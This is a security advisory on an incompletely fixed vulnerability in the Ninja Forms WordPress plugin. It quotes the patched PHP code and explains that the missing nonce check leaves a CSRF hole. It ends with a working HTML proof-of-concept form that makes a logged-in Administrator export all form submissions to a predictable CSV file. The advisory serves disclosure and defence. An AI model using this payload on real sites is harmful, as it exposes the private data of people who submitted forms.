Information Disclosure Vulnerability in Ninja Forms Incompletely Fixed
The recent version 3.6.26 of the WordPress plugin Ninja Forms includes what the developer describes as a number of “security enhancements”. One of those being “[p]revent unauthorized download of submission”. That sounds less like an enhancement and more of a vulnerability. We confirmed it was a vulnerability and that it had been incompletely fixed.
Looking at the changes made in that version, we found that this appeared to relate to legacy functionality that still exists in the plugin despite not normally being used.
As part of the fix, the function processing() in the file /lib/StepProcessing/step-processing.php was updated to add a capabilities check using a new function allowProcessing():
77 78 79 80 81 | public function processing() { if(!$this->allowProcessing()){ return; } |
That normally limits access to Administrators:
19 20 21 22 23 24 25 26 27 28 29 30 | protected function allowProcessing(): bool { if ( !is_admin() || !is_user_logged_in() || !current_user_can(apply_filters('ninja_forms_api_allow_get_submissions', 'manage_options')) ) { return false; }else{ return true; } } |
The function processing() is made accessible to anyone logged in to WordPress through an AJAX registration:
67 | add_action( 'wp_ajax_nf_' . $this->action, array( $this, 'processing' ) ); |
Testing confirmed that before the change, form submissions could be exported by anyone logged in to WordPress. What wasn’t added was a nonce check, which prevents cross-site request forgery (CSRF). So an attacker could cause a logged in Administrator to create a file containing submissions. That is stored in the /wp-content/uploads/ directory with a standardized name, so an attack could download the resulting file.
We have notified the developer of that and offered to help them fix it.
Proof of Concept for CSRF/Information Disclosure
The following proof of concept will create a file with form submissions for form 1, when logged in to WordPress as an Administrator.
The file is named all-subs.csv and is located in the current month’s media directory in the /wp-content/uploads/ directory, when logged in to WordPress.
Replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="step" value="0" /> <input type="hidden" name="total_steps" value="1" /> <input type="hidden" name="args[form_id]" value="1" /> <input type="hidden" name="args[redirect]" value="/wordpress/wp-admin/edit.php?post_status=all&post_type=nf_sub&form_id=1&nf_form_filter&paged=1&download_all=all-subs" /> <input type="hidden" name="args[filename]" value="all-subs" /> <input type="hidden" name="action" value="nf_download_all_subs" /> <input type="submit" name="submit" value="Submit" /> </form> </body> </html>